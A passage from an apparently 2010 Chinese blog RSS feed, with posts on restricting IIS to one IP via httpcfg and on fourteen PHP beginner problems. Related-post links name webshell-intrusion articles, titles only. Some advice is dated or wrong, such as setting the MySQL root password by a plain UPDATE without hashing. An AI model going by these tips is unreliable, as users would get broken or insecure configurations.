<a rel="external" href="http://wenwen.soso.com/z/ShowUser.e?sp=QQ" target="_blank">http://wenwen.soso.com/z/ShowUser.e?sp=QQ</a>号 这个是什么呢，问问<br />
<a rel="external" href="http://wpa.qq.com/pa?p=1:QQ" target="_blank">http://wpa.qq.com/pa?p=1:QQ</a>号:4    这个是查看好友在不在就看这个了 ，MM是不是在线<br />
用手工的是很简单.不信就试试,反正也就一分钟.</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/innerhtmleenertexteeterhtmlqia.html" title="innerHTML、innerText和outerHTML的用法">innerHTML、innerText和outerHTML的用法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月22日 -- <a href="http://www.5bay.cn/me/csseeeeyao.html" title="CSS 中的太极拳口诀">CSS 中的太极拳口诀</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gezhonglanqideuseragent.html" title="各种浏览器的userAgent">各种浏览器的userAgent</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/tupianlunhuanleiie7opffchromeceshitongguo.html" title="图片轮换类，IE7、OP、FF、Chrome测试通过">图片轮换类，IE7、OP、FF、Chrome测试通过</a> (3)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (3)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/category/me" title="邪人邪语" rel="tag">邪人邪语</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/javascript-ajax/%E7%B2%BE%E5%8D%8E%E4%BB%A3%E7%A0%81%E9%9B%86.html" title="精华代码集 (2006年12月8日)">精华代码集</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/dhtml-css/%E7%94%A8css%E6%9E%84%E5%BB%BAiframe%E6%95%88%E6%9E%9C.html" title="用CSS构建iframe效果 (2006年12月8日)">用CSS构建iframe效果</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/javascript-ajax/%E5%BD%BB%E5%BA%95%E9%9A%90%E8%97%8F%E4%BD%A0html%E7%BD%91%E9%A1%B5%E7%9A%84%E6%BA%90%E4%BB%A3%E7%A0%81.html" title="彻底隐藏你HTML网页的源代码 (2007年05月8日)">彻底隐藏你HTML网页的源代码</a> (2)</li>
	<li><a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell (2010年07月28日)">帝国备份王(Empirebak)拿webshell</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术 (2010年07月26日)">基于JSON的高级AJAX开发技术</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/me/eeyaoqee.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>让IIS只监听指定IP</title>
		<link>http://www.5bay.cn/server-building/ep.html</link>
		<comments>http://www.5bay.cn/server-building/ep.html#comments</comments>
		<pubDate>Wed, 28 Jul 2010 01:12:50 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[错误]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=504</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/ep.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>放入Windows Server 2003安装光盘，在目录\Support\Tools\下面找到Support.msi文件，安装他。
　　安装文件也可以在http://www.cdnunion.net/soft/support.rar下载。
b.用cmd进入C:\Program Files\Support Tools目录。
c.删除0.0.0.0
　httpcfg delete iplisten -i 0.0.0.0
d.设定HTTP.sys（iis）只是侦听192.168.0.2这个IP地址，运行如下命令：
httpcfg set iplisten -i 192.168.0.2
返回的错误代码0代表成功完成
e.重起http.sys，依次在dos模式执行如下命令。
net stop http /y
net start w3svc
f.查询现在http.sys侦听Web服务的端口。
在dos模式用如下命令：
netstat -an
看看 tcp 0.0.0.0:80 0.0.0.0 listening 是否存在，如果不存在，先恭喜一下。
看看 tcp 192.168.0.2:80 &#8230;&#8230;&#8230;&#8230;&#8230; 是否存在，如果是，那就真正恭喜你了。
##########################################################
httpcfg query iplisten 查询
相关博文2010年07月26日 -- PHP和Socket简介 (0)2010年07月26日 -- 最令PHP初学者头痛的十四个问题 (0)2010年07月26日 -- PHP安全之数据过滤 (0)2010年07月26日 -- 深入探讨PHP中的内存管理问题 (0)2010年05月23日 -- mysql优化及全文搜索 (0)2010年07月28日 -- 帝国备份王(Empirebak)拿webshell (0)2010年07月26日 -- PHP对文本数据库的基本操作方法 (0)2010年07月26日 -- Ajax的工作原理 (0)2010年07月26日 [...]]]></description>
			<content:encoded><![CDATA[<p>放入Windows Server 2003安装光盘，在目录\Support\Tools\下面找到Support.msi文件，安装他。<br />
　　安装文件也可以在<a rel="external" href="http://my.dz121.com/link.php?url=http://www.cdnunion.net%2Fsoft%2Fsupport.rar" target="_blank">http://www.cdnunion.net/soft/support.rar</a>下载。<br />
b.用cmd进入C:\Program Files\Support Tools目录。<br />
c.删除0.0.0.0<br />
　httpcfg delete iplisten -i 0.0.0.0<br />
d.设定HTTP.sys（iis）只是侦听192.168.0.2这个IP地址，运行如下命令：<br />
httpcfg set iplisten -i 192.168.0.2<br />
返回的错误代码0代表成功完成<br />
e.重起http.sys，依次在dos模式执行如下命令。<br />
net stop http /y<br />
net start w3svc</p>
<p>f.查询现在http.sys侦听Web服务的端口。<br />
在dos模式用如下命令：<br />
netstat -an<br />
看看 tcp 0.0.0.0:80 0.0.0.0 listening 是否存在，如果不存在，先恭喜一下。<br />
看看 tcp 192.168.0.2:80 &#8230;&#8230;&#8230;&#8230;&#8230; 是否存在，如果是，那就真正恭喜你了。<br />
##########################################################</p>
<p>httpcfg query iplisten 查询</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html" title="PHP封装常用Javascript为JS类以便快速调用">PHP封装常用Javascript为JS类以便快速调用</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (3)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E6%88%90%E5%8A%9F" title="成功" rel="tag">成功</a>, <a href="http://www.5bay.cn/category/server-building" title="服务器构建&amp;安全" rel="tag">服务器构建&amp;安全</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%94%99%E8%AF%AF" title="错误" rel="tag">错误</a><br />

	<h4>相关日志</h4>
	<ul class="st-related-posts">
	<li><a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介 (2010年07月26日)">PHP和Socket简介</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题 (2010年07月26日)">最令PHP初学者头痛的十四个问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤 (2010年07月26日)">PHP安全之数据过滤</a> (0)</li>
	<li><a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题 (2010年07月26日)">深入探讨PHP中的内存管理问题</a> (0)</li>
	<li><a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索 (2010年05月23日)">mysql优化及全文搜索</a> (0)</li>
</ul>

]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/server-building/ep.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>最令PHP初学者头痛的十四个问题</title>
		<link>http://www.5bay.cn/network-programming/eeeeeeee.html</link>
		<comments>http://www.5bay.cn/network-programming/eeeeeeee.html#comments</comments>
		<pubDate>Sun, 25 Jul 2010 17:20:55 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[apache2]]></category>
		<category><![CDATA[code]]></category>
		<category><![CDATA[iis6.0]]></category>
		<category><![CDATA[include]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[php.ini]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[上传]]></category>
		<category><![CDATA[中文]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[初学者]]></category>
		<category><![CDATA[区别]]></category>
		<category><![CDATA[失败]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[应用程序]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[方法]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[网站]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[解决方法]]></category>
		<category><![CDATA[设计]]></category>
		<category><![CDATA[诫]]></category>
		<category><![CDATA[邮件]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[页面]]></category>
		<category><![CDATA[验证]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=501</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/eeeeeeee.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>【1】页面之间无法传递变量
get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　
【2】Win32下apache2 用get方法传递中文参数会出错：
test.php?a=你好&#38;b=你也好　
传递参数是会导致一个内部错误　　
解决办法:&#8221;test.php?a=&#8221;.urlencode(你好).&#8221;&#38;b=&#8221;.urlencode(你也好)　
【3】win32下的session不能正常工作　
php.ini默认的session.save_path = /tmp　
这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　
【4】显示错误信息　
　
当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　
例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　
【5】Win32下mail()不能发送电子邮件　　
在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　
php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　
【6】初装的mysql修改密码
应该使用update mysql.user set password=&#8221;yourpassword&#8221; where user=&#8221;root&#8221; 修改密码　　
【7】header already sent　　
这个错误通常会在你使用HEADER的时候出现，他可能是几种原因：
1，你在使用HEADER前PRING或者ECHO了
2.你当前文件前面有空行
3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　
【8】更改php.ini后没有变化　　
重新启动web server，比如IIS，Apache等等，然后才会应用最新的设置。
这个我要补充一下，如果你是iis服务器请在cmd下用iisreset命令重新起动。用信息管理服务器重起是不起作用的。
【9】php在2003上面安装　
　
PHP4的php4isapi.dll好像和2003有些冲突，只能用CGI模式安装　　
步骤一，先www.php.net 下在一个安装程序，我是装的是：php-4.2.3-installer.exe，你也可以去找最新的版本，在安装php-4.2.3- installer.exe之前保证你的IIS6.0启动了，并能够访问。安装好以后，在默认网站&#8211;＞应用程序配置。　　
步骤二：点击 web服务扩展 &#8211;＞新建web服务扩展。　　
步骤三： 扩展名&#8211;＞php,然后添加　　
步骤四：找到php.exe的路径添加上去。　　
步骤五： 确定就可以了！　　　
步骤六： 选择php的服务扩展，然后点击允许。　这点很重要，以前的iis5.1都没web服务扩展这项，所以用惯iis5.1的朋友很容易忽略这项。
【10】sql语句不起作用
sql语句不起作用，对数据库操作失败，最简便的调试方法，echo那句sql，看看变量的值能得到不。　
　
【11】include和require的区别　　
两者没有太大的区别，如果要包含的文件不存在，include提示notice，然后继续执行下面的语句，require提示致命错误并且退出。　　
据我测试，win32平台下它们都是先包含后执行，所以被包含文件里最好不要再有include或require语句，这样会造成目录混乱。
如果一个文件不想被包含多次可以使用include_once或require_once## 读取，写入文档数据。
function r($file_name) {　
$filenum=@fopen($file_name,&#8221;r&#8221;);　
@flock($filenum,LOCK_SH);　
$file_data=@fread($filenum,filesize($file_name));　
@fclose($filenum);　
return $file_data;}
function w($file_name,$data,$method=&#8221;w&#8221;){　
$filenum=@fopen($file_name,$method);　
flock($filenum,LOCK_EX);　
$file_data=fwrite($filenum,$data);　
fclose($filenum);　
return $file_data;}
【12】isset()和empty()的区别　　
两者都是测试变量用的，但是isset()是测试变量是否被赋值，而empty()是测试一个已经被赋值的变量是否为空。　　
如果一个变量没被赋值就引用在php里是被允许的,但会有notice提示，如果一个变量被赋空值，$foo=&#8221;"或者$foo=0或者 $foo=false,那么empty($foo)返回真，isset($foo)也返回真，就是说赋空值不会注销一个变量。　　　要注销一个变量，可以用 unset($foo)或者$foo=NULL　　
【13】mysql查询语句包含有关键字　
　php查询mysql的时候，有时候mysql表名或者列名会有关键字，这时候查询会有错误。例如表名是order,查询时候会出错，简单的办法是sql语句里表名或者列名加上`[tab键上面]来加以区别，例如select * from `order`　　
【14】通过HTTP协议一次上传多个文件的方法　　
有两个思路，是同一个方法的两种实现。具体程序还需自己去设计。　　
1、在form中设置多个文件输入框，用数组命名他们的名字，如下：
＜form action=&#8221;" method=post＞
＜input type=file name=usefile[]＞
＜input type=file name=usefile[]＞
＜input [...]]]></description>
			<content:encoded><![CDATA[<p><span id="more-501"></span>【1】页面之间无法传递变量</p>
<p>get,post,session在最新的php版本中自动全局变量是关闭的，所以要从上一页面取得提交过来得变量要使用$_GET['foo'],$ _POST['foo'],$_SESSION['foo']来得到。当然也可以修改自动全局变量为开(php.ini改为 register_globals = On)；考虑到兼容性，还是强迫自己熟悉新的写法比较好。　　</p>
<p>【2】Win32下apache2 用get方法传递中文参数会出错：</p>
<p>test.php?a=你好&amp;b=你也好　<br />
传递参数是会导致一个内部错误　　<br />
解决办法:&#8221;test.php?a=&#8221;.urlencode(你好).&#8221;&amp;b=&#8221;.urlencode(你也好)　</p>
<p>【3】win32下的session不能正常工作　</p>
<p>php.ini默认的session.save_path = /tmp　<br />
这显然是linux下的配置，win32下php无法读写session文件导致session无法使用，把它改成一个绝对路径就可以了，例如session.save_path = c:windows emp　　</p>
<p>【4】显示错误信息　<br />
　<br />
当php.ini的display_errors = On并且error_reporting = E_ALL时，将显示所有的错误和提示，调试的时候最好打开以便纠错，如果你用以前php写法错误信息多半是关于未定义变量的。变量在赋值以前调用会有提示，解决办法是探测或者屏蔽。　　</p>
<p>例如显示$foo，可以if(isset($foo)) echo $foo 或者echo @$foo　　</p>
<p>【5】Win32下mail()不能发送电子邮件　　</p>
<p>在linux下配置好的sendmail可以发送，在win32下需要调用smtp服务器来发送电子邮件，修改php.ini的SMTP = ip //ip是不带验证功能的smtp服务器(网上很难找到)　　</p>
<p>php发送邮件的最好解决方法是用socket直接发送到对方email服务器而不用转发服务器。　　</p>
<p>【6】初装的mysql修改密码</p>
<p>应该使用update mysql.user set password=&#8221;yourpassword&#8221; where user=&#8221;root&#8221; 修改密码　　</p>
<p>【7】header already sent　　</p>
<p>这个错误通常会在你使用HEADER的时候出现，他可能是几种原因：</p>
<p>1，你在使用HEADER前PRING或者ECHO了<br />
2.你当前文件前面有空行<br />
3.你可能INCLUDE了一个文件,该文件尾部有空行或者输出也会出现这种错误。！　　</p>
<p>【8】更改php.ini后没有变化　　</p>
<p>重新启动web server，比如IIS，Apache等等，然后才会应用最新的设置。<br />
这个我要补充一下，如果你是iis服务器请在cmd下用iisreset命令重新起动。用信息管理服务器重起是不起作用的。</p>
<p>【9】php在2003上面安装　<br />
　<br />
PHP4的php4isapi.dll好像和2003有些冲突，只能用CGI模式安装　　</p>
<p>步骤一，先www.php.net 下在一个安装程序，我是装的是：php-4.2.3-installer.exe，你也可以去找最新的版本，在安装php-4.2.3- installer.exe之前保证你的IIS6.0启动了，并能够访问。安装好以后，在默认网站&#8211;＞应用程序配置。　　<br />
步骤二：点击 web服务扩展 &#8211;＞新建web服务扩展。　　<br />
步骤三： 扩展名&#8211;＞php,然后添加　　<br />
步骤四：找到php.exe的路径添加上去。　　<br />
步骤五： 确定就可以了！　　　<br />
步骤六： 选择php的服务扩展，然后点击允许。　这点很重要，以前的iis5.1都没web服务扩展这项，所以用惯iis5.1的朋友很容易忽略这项。</p>
<p>【10】sql语句不起作用</p>
<p>sql语句不起作用，对数据库操作失败，最简便的调试方法，echo那句sql，看看变量的值能得到不。　<br />
　<br />
【11】include和require的区别　　</p>
<p>两者没有太大的区别，如果要包含的文件不存在，include提示notice，然后继续执行下面的语句，require提示致命错误并且退出。　　</p>
<p>据我测试，win32平台下它们都是先包含后执行，所以被包含文件里最好不要再有include或require语句，这样会造成目录混乱。</p>
<p>如果一个文件不想被包含多次可以使用include_once或require_once## 读取，写入文档数据。<br />
function r($file_name) {　<br />
$filenum=@fopen($file_name,&#8221;r&#8221;);　<br />
@flock($filenum,LOCK_SH);　<br />
$file_data=@fread($filenum,filesize($file_name));　<br />
@fclose($filenum);　<br />
return $file_data;}<br />
function w($file_name,$data,$method=&#8221;w&#8221;){　<br />
$filenum=@fopen($file_name,$method);　<br />
flock($filenum,LOCK_EX);　<br />
$file_data=fwrite($filenum,$data);　<br />
fclose($filenum);　<br />
return $file_data;}</p>
<p>【12】isset()和empty()的区别　　</p>
<p>两者都是测试变量用的，但是isset()是测试变量是否被赋值，而empty()是测试一个已经被赋值的变量是否为空。　　</p>
<p>如果一个变量没被赋值就引用在php里是被允许的,但会有notice提示，如果一个变量被赋空值，$foo=&#8221;"或者$foo=0或者 $foo=false,那么empty($foo)返回真，isset($foo)也返回真，就是说赋空值不会注销一个变量。　　　要注销一个变量，可以用 unset($foo)或者$foo=NULL　　</p>
<p>【13】mysql查询语句包含有关键字　</p>
<p>　php查询mysql的时候，有时候mysql表名或者列名会有关键字，这时候查询会有错误。例如表名是order,查询时候会出错，简单的办法是sql语句里表名或者列名加上`[tab键上面]来加以区别，例如select * from `order`　　</p>
<p>【14】通过HTTP协议一次上传多个文件的方法　　</p>
<p>有两个思路，是同一个方法的两种实现。具体程序还需自己去设计。　　<br />
1、在form中设置多个文件输入框，用数组命名他们的名字，如下：</p>
<p>＜form action=&#8221;" method=post＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜input type=file name=usefile[]＞<br />
＜/form＞<br />
　　<br />
这样，在服务器端做以下测试：echo &#8220;＜pre＞&#8221;;print_r($_FILES);echo &#8220;＜/pre＞&#8221;;　　</p>
<p>2、在form中设置多个文件输入框，但名字不同，如下：</p>
<p>＜form action=&#8221;" method=post＞<br />
＜input type=file name=usefile_a＞<br />
＜input type=file name=usefile_b＞<br />
＜input type=file name=usefile_c＞<br />
＜/form＞　</p>
<p>　在服务器端做同样测试：echo &#8220;＜pre＞&#8221;;print_r($_FILES);echo &#8220;＜/pre＞&#8221;;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/peeeeee.html" title="深入探讨PHP中的内存管理问题">深入探讨PHP中的内存管理问题</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aoeempirebakeebshell.html" title="帝国备份王(Empirebak)拿webshell">帝国备份王(Empirebak)拿webshell</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/nginxderewriteguize.html" title="nginx的rewrite规则">nginx的rewrite规则</a> (3)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/apache2" title="apache2" rel="tag">apache2</a>, <a href="http://www.5bay.cn/tag/code" title="code" rel="tag">code</a>, <a href="http://www.5bay.cn/tag/iis60" title="iis6.0" rel="tag">iis6.0</a>, <a href="http://www.5bay.cn/tag/include" title="include" rel="tag">include</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/tag/path" title="path" rel="tag">path</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/phpini" title="php.ini" rel="tag">php.ini</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/session" title="session" rel="tag">session</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/%E4%B8%8A%E4%BC%A0" title="上传" rel="tag">上传</a>, <a href="http://www.5bay.cn/tag/%E4%B8%AD%E6%96%87" title="中文" rel="tag">中文</a>, <a href="http://www.5bay.cn/tag/%E5%85%BC%E5%AE%B9" title="兼容" rel="tag">兼容</a>, <a href="http://www.5bay.cn/tag/%E5%88%9D%E5%AD%A6%E8%80%85" title="初学者" rel="tag">初学者</a>, <a href="http://www.5bay.cn/tag/%E5%8C%BA%E5%88%AB" title="区别" rel="tag">区别</a>, <a href="http://www.5bay.cn/tag/%E5%A4%B1%E8%B4%A5" title="失败" rel="tag">失败</a>, <a href="http://www.5bay.cn/tag/%E5%AF%86%E7%A0%81" title="密码" rel="tag">密码</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E7%89%88%E6%9C%AC" title="版本" rel="tag">版本</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3" title="解决" rel="tag">解决</a>, <a href="http://www.5bay.cn/tag/%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95" title="解决方法" rel="tag">解决方法</a>, <a 